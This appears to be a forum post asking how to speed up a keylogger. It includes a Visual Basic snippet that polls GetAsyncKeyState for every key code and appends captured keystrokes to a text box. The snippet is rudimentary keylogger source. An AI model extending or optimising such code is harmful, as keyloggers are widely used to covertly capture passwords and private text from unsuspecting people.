Hi guys! How should I make a fast keylogger? e.g I've tried this method, but it seems like too slow, you know why. A fast tiping person would defeat it Any suggestions?? Thank you!!
Code:
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
For i = 1 To 255

            Dim intKey = 0
            intKey = GetAsyncKeyState(i)

            If intKey = -32767 Then

                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

            End If

        Next i